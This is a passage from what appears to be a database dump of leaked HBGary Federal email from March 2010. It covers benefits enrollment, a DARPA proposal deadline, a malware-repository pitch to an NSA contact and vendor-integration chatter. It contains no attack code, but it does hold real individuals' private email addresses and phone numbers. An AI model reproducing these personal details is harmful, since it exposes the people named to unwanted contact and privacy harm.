&lt;jeffbell@onebox.com&gt; wrote:\r\n\r\n\r\n\r\nHi  Mark, here are the enrollment packages for all benefits.\r\nThe Anthem medical plans allow for you to choose your coverage , Most choose the $30 PPO plan, I believe HBGary carries the cost for the employee but not the dependents. \r\n\r\n\r\nThere is a 90 day Employee Eligibility Waiting Period for all benefits.\r\nPlease give me a call if you would like to discuss addtional premiums for dependents or just if you have any\r\nquestions about the coverage as well.Sincerely, Jeff Bell / Mission Trail Ins.Agency   800-255-4001jeffbell@onebox.com - email\r\n\r\n(866) 578-1808 - voicemail/faxThis e-mail, including attachments, may include confidential and/orproprietary information, and may be used only by the person or entityto which it is addressed.-----Original Message-----\r\n\r\nFrom: John Day Sent: Thu, 4 Mar 2010 12:52:28 -0800To: Subject: HBGary Benefits enrollment\r\n\r\n    \r\n\r\n\r\nJeff,\r\nPlease send me the benefits information for medical and dental.\r\n \r\nThank you,\r\nJohn Day\r\n916-459-4727 x113\r\n&lt;Anthem BC EeElect .pdf&gt;&lt;Anthem Blue Cross Grp#334184 Application.pdf&gt;\r\n\r\n&lt;Delta Dental Plan Highlights.pdf&gt;&lt;Delta Dental Employee EnrollmentForm 2007.pdf&gt;&lt;Hartford Policy Highlights.pdf&gt;\r\n\r\n&lt;Hartford Life- Short and Long Term Disability Application.pdf&gt;&lt;TASC Flex Savings Plan Highlights and Application.pdf&gt;\r\n\r\n\r\n\r\n',7781,'aaron_hbgary_com/7781.html'),(4200,'2010-03-18','\"Vela, Ryan\" <Ryan.Vela@gd-ais.com>','/aaron@hbgary.com/new/1297002227.M86426P3547Q4198.eml','\"Ted Vera\" <ted@hbgary.com>,\"Larson, Cindy S.\" <Cindy.Larson@gd-ais.com>,\"Ted Vera\" <ted@hbgary.com>,\"Larson, Cindy S.\" <Cindy.Larson@gd-ais.com>','RE: Due Date Reminder - Sanitized Cost Volume - Cyber Genome Proposal','\r\n\r\n\r\n\r\n\r\nRE: Due Date Reminder - Sanitized Cost Volume - Cyber Genome Proposal\r\n\r\n\r\n\r\n\r\nThank you Ted.\r\n\r\n\r\nRyan Vela\r\n\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com]\r\nSent: Wed 3/17/2010 10:44 PM\r\nTo: Larson, Cindy S.\r\nCc: Vela, Ryan; Starr, Christopher H.; Barr Aaron\r\nSubject: Re: Due Date Reminder - Sanitized Cost Volume - Cyber Genome Proposal\r\n\r\nAttached is our sanitized cost volume for review.\r\n\r\nRegards,\r\nTed\r\n\r\n\r\n\r\n\r\n&gt;\r\n&gt; On 3/17/10 8:42 AM, Larson, Cindy S. wrote:\r\n&gt;&gt; Good Morning,\r\n&gt;&gt;&nbsp;\r\n&gt;&gt; Just a reminder that your sanitized Cost Volume is due to GDAIS today.\r\n&gt;&gt; If you have any last minute questions or require clarification please\r\n&gt;&gt; contact Rex Brunelli at (210) 442-4231, or send him an email and copy\r\n&gt;&gt; me.\r\n&gt;&gt;&nbsp;\r\n&gt;&gt; Your original, 2 hard copies and 2 CD ROMs of your sealed Cost Volume is\r\n&gt;&gt; due to Ryan Vela on March 25th; see RFP Attachment 1 for the address\r\n&gt;&gt; location.\r\n&gt;&gt;&nbsp;\r\n&gt;&gt; Also, please re-review the RFP Attachment 1 to ensure your proposal\r\n&gt;&gt; includes all other required proposal information and documents (not part\r\n&gt;&gt; of the Cost Volume) .&nbsp; Call me at 480-441-4235 or send me an email if\r\n&gt;&gt; you have any questions regarding the other required information.&nbsp;\r\n&gt;&gt;&nbsp;\r\n&gt;&gt; Reminder, any comments to the GDAIS subcontract template or the terms\r\n&gt;&gt; and conditions should be sent to me by the end of next week.\r\n&gt;&gt;&nbsp;\r\n&gt;&gt; We look forward to receiving your final pricing and proposal.\r\n&gt;&gt;&nbsp;\r\n&gt;&gt; Regards,\r\n&gt;&gt; Cindy\r\n&gt;&gt;\r\n&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15029,'aaron_hbgary_com/15029.html'),(4201,'2010-03-18','\"David Lirette\" <rocky14er@gmail.com>','/aaron@hbgary.com/new/1297002227.M898262P3547Q4201.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Happy birthday!!!!','Wow!\r\n\r\nPARTY\r\n\r\nI\'m down for the night dude, you better call one of those YOUNGER birthday people.\r\nI do want to talk to you soon though. Coming to the Springs anytime soon?\r\n\r\n\r\nOn Mar 17, 2010, at 5:55 PM, Aaron Barr wrote:\r\n\r\n> Call u when the kids go to sleep.  I know 4 people with this birthday.\r\n> \r\n> Aaron\r\n> \r\n> From my iPhone\r\n\r\n',5642,'aaron_hbgary_com/5642.html'),(4202,'2010-03-18','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002230.M446098P3547Q4202.eml','\"Aaron Barr\" <aaron@hbgary.com>','WBS & Schedule','I updated the schedule in the RFP doc.\r\n\r\nI updated the WBS in the attached spreadsheet (easier to manipulate).\r\nOnce it looks good we can copy into the word doc.\r\n\r\nIf you\'re still up, you can give me a call.  I\'m heading downstairs for\r\nsome water.\r\n\r\nTed\r\n\r\n',8088,'aaron_hbgary_com/8088.html'),(4203,'2010-03-18','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297002230.M698868P3547Q4203.eml','\"Barr Aaron\" <aaron@hbgary.com>','CardKing','Check out this application:\r\n\r\nhttp://itunes.apple.com/us/app/cardking/id354694399?mt=8\r\n\r\nVery handy, and this one works.\r\n\r\n\r\n',1060,'aaron_hbgary_com/1060.html'),(4204,'2010-03-18','rich@hbgary.com','/aaron@hbgary.com/new/1297002230.M909575P3547Q4204.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Fwd: Malware Repository and Feed processeor','Good man Aaron!  Btw were kicking some ass down here in texas...   TtysSent from my Verizon Wireless BlackBerryFrom:  Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Wed, 17 Mar 2010 20:04:33 -0400To: Ted Vera&lt;ted@hbgary.com&gt;; Bob Slapnik&lt;bob@hbgary.com&gt;; Rich Cummings&lt;rich@hbgary.com&gt;Subject: Fwd: Malware Repository and Feed processeorFYIFrom my iPhoneBegin forwarded message:From: &quot;Luber, David P.&quot; &lt;dpluber@nsa.gov&gt;\r\nDate: March 17, 2010 7:17:58 PM EDTTo: &lt;aaron@hbgary.com&gt;Subject: Re: Malware Repository and Feed processeor\r\nAaron,Thanks again for the visit to our office the other day. I am currently in travel with a client, but I will get back with you when I return to the office on friday.\r\nThanks,Dave--------------------------Sent using BlackBerry----- Original Message -----From: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Luber, David P.Cc: Rich Cummings &lt;rich@hbgary.com&gt;Sent: Tue Mar 16 23:35:29 2010Subject: Malware Repository and Feed processeor\r\nDave,Thank you for having us in to brief yesterday.  I want to clarify your interest in a few things we discussed, specifically the malware repository and feed processor.\r\n1. Would you like some technical specifications and rough costs for the malware repository, feed processor, and portal, for planning purposes?  If you were to want to integrate this into your operations, would you want it standalone or with some small number of bodies to maintain and train?  These folks could help to develop classified traits, maintain the repository, aid in analysis using HBGary tools such as Responder and REcon.\r\n2. I was re-briefed today.  Would you like to set up a follow-on conversation at a different level?  Thinking this might help me better understand what your specifically looking for so I can help drive what we could deliver to you.\r\nA few other notes for thought.  We have an existing capability that we are &quot;productizing&quot; called the Threat Management Center.  It is a fully functioning capability today but not yet packaged/hardened in a way that we can directly sell it to customers.  This is a combination of the repository, feed processor, modified DDNA, and some other automation to drive analysis reports on malware.  We have also partnered with Palantir.  Using the repository and other information we gather during a threat investigation, we are building threat maps in Palantir to help mature our understanding of particular threats or operations and their components (actors, C&amp;C, web artifacts, network activity, malware internals).  Next step is to begin to correlate malware artifacts, traits, traits sequences, dependencies, to drive linkages between operations and the malware used.  I think these maturing scenarios could greatly expand our ability to understand and track the threats as well as provide an increase in net defense capability (most SOCs/CERTs only have a few good analysts and the rest are average to new) by integrating the stored threat maps into the incident handling and analysis process.\r\nThank you,Aaron BarrCEOHBGary Federal Inc.719.510.8478\r\n\r\n',5392,'aaron_hbgary_com/5392.html'),(4205,'2010-03-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002231.M114943P3547Q4205.eml','rich@hbgary.com','Re: Malware Repository and Feed processeor','Good to hear. &nbsp;Don\'t think I ever mentioned it but I used to do Red Team work a few years back. &nbsp;I loved that work, new environment, new challenges, quick reaction stuff, short time lines, then wrap up and do again. &nbsp;Hope your having a good time with it.AaronOn Mar 18, 2010, at 1:10 AM, rich@hbgary.com wrote:Good man Aaron!  Btw were kicking some ass down here in texas...   TtysSent from my Verizon Wireless BlackBerryFrom:  Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Wed, 17 Mar 2010 20:04:33 -0400To: Ted Vera&lt;ted@hbgary.com&gt;; Bob Slapnik&lt;bob@hbgary.com&gt;; Rich Cummings&lt;rich@hbgary.com&gt;Subject: Fwd: Malware Repository and Feed processeorFYIFrom my iPhoneBegin forwarded message:From: \"Luber, David P.\" &lt;dpluber@nsa.gov&gt;\r\nDate: March 17, 2010 7:17:58 PM EDTTo: &lt;aaron@hbgary.com&gt;Subject: Re: Malware Repository and Feed processeor\r\nAaron,Thanks again for the visit to our office the other day. I am currently in travel with a client, but I will get back with you when I return to the office on friday.\r\nThanks,Dave--------------------------Sent using BlackBerry----- Original Message -----From: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Luber, David P.Cc: Rich Cummings &lt;rich@hbgary.com&gt;Sent: Tue Mar 16 23:35:29 2010Subject: Malware Repository and Feed processeor\r\nDave,Thank you for having us in to brief yesterday. &nbsp;I want to clarify your interest in a few things we discussed, specifically the malware repository and feed processor.\r\n1. Would you like some technical specifications and rough costs for the malware repository, feed processor, and portal, for planning purposes? &nbsp;If you were to want to integrate this into your operations, would you want it standalone or with some small number of bodies to maintain and train? &nbsp;These folks could help to develop classified traits, maintain the repository, aid in analysis using HBGary tools such as Responder and REcon.\r\n2. I was re-briefed today. &nbsp;Would you like to set up a follow-on conversation at a different level? &nbsp;Thinking this might help me better understand what your specifically looking for so I can help drive what we could deliver to you.\r\nA few other notes for thought. &nbsp;We have an existing capability that we are \"productizing\" called the Threat Management Center. &nbsp;It is a fully functioning capability today but not yet packaged/hardened in a way that we can directly sell it to customers. &nbsp;This is a combination of the repository, feed processor, modified DDNA, and some other automation to drive analysis reports on malware. &nbsp;We have also partnered with Palantir. &nbsp;Using the repository and other information we gather during a threat investigation, we are building threat maps in Palantir to help mature our understanding of particular threats or operations and their components (actors, C&amp;C, web artifacts, network activity, malware internals). &nbsp;Next step is to begin to correlate malware artifacts, traits, traits sequences, dependencies, to drive linkages between operations and the malware used. &nbsp;I think these maturing scenarios could greatly expand our ability to understand and track the threats as well as provide an increase in net defense capability (most SOCs/CERTs only have a few good analysts and the rest are average to new) by integrating the stored threat maps into the incident handling and analysis process.\r\nThank you,Aaron BarrCEOHBGary Federal Inc.719.510.8478\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',15800,'aaron_hbgary_com/15800.html'),(4206,'2010-03-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002231.M384175P3547Q4206.eml','\"Phil Wallisch\" <phil@hbgary.com>','New Responder/REcon reports','Hi Phil,\r\n\r\nPenny mentioned some new reports that are generated from Responder/REcon and said I should check with you to get some copies of some to look at.  Do you have some handy that you could send to me?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',8145,'aaron_hbgary_com/8145.html'),(4207,'2010-03-18','\"Etue, David\" <david.etue@fidelissecurity.com>','/aaron@hbgary.com/new/1297002231.M620287P3547Q4207.eml','greg@hbgary.com,\"Penny Leavy-Hoglund\" <penny@hbgary.com>,greg@hbgary.com','RE: Fidelis XPS / HB Gary Integration Opportunities','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nUpdated\r\nversion with some minor typos and your product name (Active Defense)\r\ncorrected.&nbsp; \r\n\r\n&nbsp;\r\n\r\nDavid\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Etue, David \r\nSent: Saturday, March 13, 2010 4:42 PM\r\nTo: \'greg@hbgary.com\'; \'Aaron Barr\'; \'Penny Leavy-Hoglund\'\r\nSubject: Fidelis XPS / HB Gary Integration Opportunities \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAaron, Greg, and Penny,\r\n\r\n\r\nBased on our conversations, I put together the following document on areas I\r\nsee opportunities for product integration to help customers detect and prevent\r\nmalware-based attacks.&nbsp; Your thoughts and feedback are greatly\r\nappreciated.\r\n\r\n&nbsp;\r\n\r\nDavid\r\n\r\n&nbsp;\r\n\r\n\r\n \r\n  \r\n  \r\n   \r\n    \r\n    \r\n     \r\n      \r\n      \r\n       \r\n        \r\n        Fidelis Security Systems\r\n        \r\n        \r\n       \r\n      \r\n      \r\n      \r\n     \r\n     \r\n      \r\n      \r\n       \r\n        \r\n        David\r\n        Etue, CIPP/G\r\n        VP, Products and Markets \r\n        \r\n        \r\n        4416\r\n        East West Highway, Suite 310\r\n        Bethesda, MD 20814 \r\n        \r\n       \r\n       \r\n        \r\n        david.etue@fidelissecurity.com\r\n        http://www.fidelissecurity.com\r\n        \r\n        \r\n        \r\n        \r\n         \r\n          \r\n          tel:\r\n          \r\n          fax: \r\n          mobile: \r\n          \r\n          \r\n          (240) 396-2445 \r\n          (301) 652-7097\r\n          (202) 669-3628 \r\n          \r\n         \r\n        \r\n        \r\n       \r\n      \r\n      \r\n     \r\n    \r\n    \r\n    \r\n   \r\n  \r\n  \r\n \r\n \r\n  \r\n  \r\n   \r\n    \r\n    Always have my latest info\r\n    \r\n    \r\n    Want a signature like this?\r\n    \r\n   \r\n  \r\n  \r\n \r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5173,'aaron_hbgary_com/5173.html'),(4208,'2010-03-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002231.M852459P3547Q4208.eml','\"Etue, David\" <david.etue@fidelissecurity.com>','Re: Fidelis XPS / HB Gary Integration Opportunities','Morning Dave. &nbsp;late night for you as well.Thanks.AaronOn Mar 18, 2010, at 1:30 AM, Etue, David wrote:Updated version with some minor typos and your product name (Active Defense) corrected.&nbsp;&nbsp;David&nbsp;From:&nbsp;Etue, David&nbsp;Sent:&nbsp;Saturday, March 13, 2010 4:42 PMTo:&nbsp;\'greg@hbgary.com\'; \'Aaron Barr\'; \'Penny Leavy-Hoglund\'Subject:&nbsp;Fidelis XPS / HB Gary Integration Opportunities&nbsp;Aaron, Greg, and Penny,Based on our conversations, I put together the following document on areas I see opportunities for product integration to help customers detect and prevent malware-based attacks.&nbsp; Your thoughts and feedback are greatly appreciated.&nbsp;David&nbsp;Fidelis Security SystemsDavid Etue, CIPP/GVP, Products and Markets4416 East West Highway, Suite 310Bethesda, MD 20814david.etue@fidelissecurity.comhttp://www.fidelissecurity.comtel:&nbsp;fax:&nbsp;mobile:(240) 396-2445&nbsp;&lt;image001.gif&gt;(301) 652-7097(202) 669-3628&nbsp;&lt;image001.gif&gt;Always have my latest infoWant a signature like this?&nbsp;&nbsp;&lt;Fidelis XPS and HB Gary Integration v1_1.docx&gt;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',6344,'aaron_hbgary_com/6344.html'),(4209,'2010-03-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002232.M245026P3547Q4210.eml','\"Etue, David\" <david.etue@fidelissecurity.com>','Re: Fidelis XPS / HB Gary Integration Opportunities','Thats right you mentioned that. &nbsp;Wow thats a milestone. &nbsp;Once this DARPA proposal is over (extended until 29March) we will have to catch up.AaronOn Mar 18, 2010, at 1:34 AM, Etue, David wrote:Yep&nbsp;J&nbsp; Actually got a few days of vacation in—went to AZ for my grandmothers 90th&nbsp;bday from Sat to Wed.&nbsp; Flight was late, so just got home from the airport!&nbsp; Off to bed once I catch up on mail…&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Thursday, March 18, 2010 1:31 AMTo:&nbsp;Etue, DavidSubject:&nbsp;Re: Fidelis XPS / HB Gary Integration Opportunities&nbsp;Morning Dave. &nbsp;late night for you as well.&nbsp;Thanks.Aaron&nbsp;On Mar 18, 2010, at 1:30 AM, Etue, David wrote:Updated version with some minor typos and your product name (Active Defense) corrected.&nbsp;&nbsp;David&nbsp;From:&nbsp;Etue, David&nbsp;Sent:&nbsp;Saturday, March 13, 2010 4:42 PMTo:&nbsp;\'greg@hbgary.com\'; \'Aaron Barr\'; \'Penny Leavy-Hoglund\'Subject:&nbsp;Fidelis XPS / HB Gary Integration Opportunities&nbsp;Aaron, Greg, and Penny,Based on our conversations, I put together the following document on areas I see opportunities for product integration to help customers detect and prevent malware-based attacks.&nbsp; Your thoughts and feedback are greatly appreciated.&nbsp;David&nbsp;Fidelis Security SystemsDavid Etue, CIPP/GVP, Products and Markets4416 East West Highway, Suite 310Bethesda, MD 20814david.etue@fidelissecurity.comhttp://www.fidelissecurity.comtel:&nbsp;fax:&nbsp;mobile:(240) 396-2445&nbsp;&lt;image001.gif&gt;(301) 652-7097(202) 669-3628&nbsp;&lt;image001.gif&gt;Always have my latest infoWant a signature like this?&nbsp;&nbsp;&lt;Fidelis XPS and HB Gary Integration v1_1.docx&gt;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',3882,'aaron_hbgary_com/3882.html'),(4210,'2010-03-18','\"Etue, David\" <david.etue@fidelissecurity.com>','/aaron@hbgary.com/new/1297002232.M424808P3547Q4211.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Fidelis XPS / HB Gary Integration Opportunities','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nYep.&nbsp; Was glad she said &#8220;now it&#8217;s time to shoot for 100&#8221; too.&nbsp; \r\n\r\n&nbsp;\r\n\r\nGood luck with the DARPA proposal, and let me know if there is\r\nanything you need from our side.&nbsp; My schedule, while ugly, is much less crazy than\r\nit has been for the rest of the month.&nbsp; It would be great to grab lunch or a drink\r\nonce its submitted.\r\n\r\n&nbsp;\r\n\r\nG&#8217;night!\r\n\r\nDavid\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, March 18, 2010 1:36 AM\r\nTo: Etue, David\r\nSubject: Re: Fidelis XPS / HB Gary Integration Opportunities \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nThats right you mentioned that. &nbsp;Wow thats a milestone.\r\n&nbsp;Once this DARPA proposal is over (extended until 29March) we will have to\r\ncatch up.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 18, 2010, at 1:34 AM, Etue, David wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nYep&nbsp;J&nbsp;\r\nActually got a few days of vacation in&#8212;went to AZ for my grandmothers 90th&nbsp;bday from Sat to Wed.&nbsp; Flight was\r\nlate, so just got home from the airport!&nbsp; Off to bed once I catch up on\r\nmail&#8230;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Thursday, March 18,\r\n2010 1:31 AM\r\nTo:&nbsp;Etue, David\r\nSubject:&nbsp;Re: Fidelis XPS /\r\nHB Gary Integration Opportunities\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMorning Dave. &nbsp;late night for you as well.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 18, 2010, at 1:30 AM, Etue, David wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nUpdated version with some minor typos and your product name\r\n(Active Defense) corrected.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDavid\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Etue, David&nbsp;\r\nSent:&nbsp;Saturday, March 13,\r\n2010 4:42 PM\r\nTo:&nbsp;\'greg@hbgary.com\'; \'Aaron Barr\'; \'Penny\r\nLeavy-Hoglund\'\r\nSubject:&nbsp;Fidelis XPS / HB\r\nGary Integration Opportunities\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\nGreg, and Penny,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBased on our conversations, I put together the following document on areas I\r\nsee opportunities for product integration to help customers detect and prevent\r\nmalware-based attacks.&nbsp; Your thoughts and feedback are greatly appreciated.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDavid\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n  \r\n  \r\n   \r\n    \r\n    \r\n     \r\n      \r\n      \r\n       \r\n        \r\n        \r\n        \r\n        Fidelis Security Systems\r\n        \r\n        \r\n        \r\n        \r\n       \r\n      \r\n      \r\n      \r\n     \r\n     \r\n      \r\n      \r\n       \r\n        \r\n        \r\n        \r\n        David\r\n        Etue, CIPP/G\r\n        VP, Products and Markets\r\n        \r\n        \r\n        \r\n        \r\n        4416\r\n        East West Highway, Suite 310\r\n        Bethesda, MD 20814\r\n        \r\n       \r\n       \r\n        \r\n        \r\n        \r\n        david.etue@fidelissecurity.com\r\n        http://www.fidelissecurity.com\r\n        \r\n        \r\n        \r\n        \r\n        \r\n         \r\n          \r\n          tel:&nbsp;\r\n          fax:&nbsp;\r\n          mobile:\r\n          \r\n          \r\n          (240) 396-2445&nbsp;&lt;image001.gif&gt;\r\n          (301) 652-7097\r\n          (202) 669-3628&nbsp;&lt;image001.gif&gt;\r\n          \r\n         \r\n        \r\n        \r\n       \r\n      \r\n      \r\n     \r\n    \r\n    \r\n    \r\n   \r\n  \r\n  \r\n \r\n \r\n  \r\n  \r\n   \r\n    \r\n    \r\n    \r\n    Always have my latest info\r\n    \r\n    \r\n    \r\n    \r\n    Want a signature like this?\r\n    \r\n   \r\n  \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&lt;Fidelis\r\nXPS and HB Gary Integration v1_1.docx&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16197,'aaron_hbgary_com/16197.html'),(4211,'2010-03-18','\"Etue, David\" <david.etue@fidelissecurity.com>','/aaron@hbgary.com/new/1297002232.M58567P3547Q4209.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Fidelis XPS / HB Gary Integration Opportunities','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nYep J&nbsp; Actually got a few days of vacation in&#8212;went to AZ for my\r\ngrandmothers 90th bday from Sat to Wed.&nbsp; Flight was late, so just\r\ngot home from the airport!&nbsp; Off to bed once I catch up on mail&#8230;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, March 18, 2010 1:31 AM\r\nTo: Etue, David\r\nSubject: Re: Fidelis XPS / HB Gary Integration Opportunities \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nMorning Dave. &nbsp;late night for you as well.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks.\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 18, 2010, at 1:30 AM, Etue, David wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nUpdated version with some minor typos and your product name\r\n(Active Defense) corrected.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDavid\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Etue, David&nbsp;\r\nSent:&nbsp;Saturday, March 13,\r\n2010 4:42 PM\r\nTo:&nbsp;\'greg@hbgary.com\'; \'Aaron Barr\'; \'Penny\r\nLeavy-Hoglund\'\r\nSubject:&nbsp;Fidelis XPS / HB\r\nGary Integration Opportunities\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\nGreg, and Penny,\r\n\r\n\r\n\r\n\r\n\r\n\r\nBased on our conversations, I put together the following document on areas I\r\nsee opportunities for product integration to help customers detect and prevent\r\nmalware-based attacks.&nbsp; Your thoughts and feedback are greatly appreciated.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDavid\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n \r\n  \r\n  \r\n   \r\n    \r\n    \r\n     \r\n      \r\n      \r\n       \r\n        \r\n        \r\n        Fidelis Security Systems\r\n        \r\n        \r\n        \r\n       \r\n      \r\n      \r\n      \r\n     \r\n     \r\n      \r\n      \r\n       \r\n        \r\n        \r\n        David\r\n        Etue, CIPP/G\r\n        VP, Products and Markets\r\n        \r\n        \r\n        \r\n        4416\r\n        East West Highway, Suite 310\r\n        Bethesda, MD 20814\r\n        \r\n       \r\n       \r\n        \r\n        \r\n        david.etue@fidelissecurity.com\r\n        http://www.fidelissecurity.com\r\n        \r\n        \r\n        \r\n        \r\n         \r\n          \r\n          tel:&nbsp;\r\n          fax:&nbsp;\r\n          mobile:\r\n          \r\n          \r\n          (240) 396-2445&nbsp;&lt;image001.gif&gt;\r\n          (301) 652-7097\r\n          (202) 669-3628&nbsp;&lt;image001.gif&gt;\r\n          \r\n         \r\n        \r\n        \r\n       \r\n      \r\n      \r\n     \r\n    \r\n    \r\n    \r\n   \r\n  \r\n  \r\n \r\n \r\n  \r\n  \r\n   \r\n    \r\n    \r\n    Always have my latest info\r\n    \r\n    \r\n    \r\n    Want a signature like this?\r\n    \r\n   \r\n  \r\n  \r\n \r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&lt;Fidelis\r\nXPS and HB Gary Integration 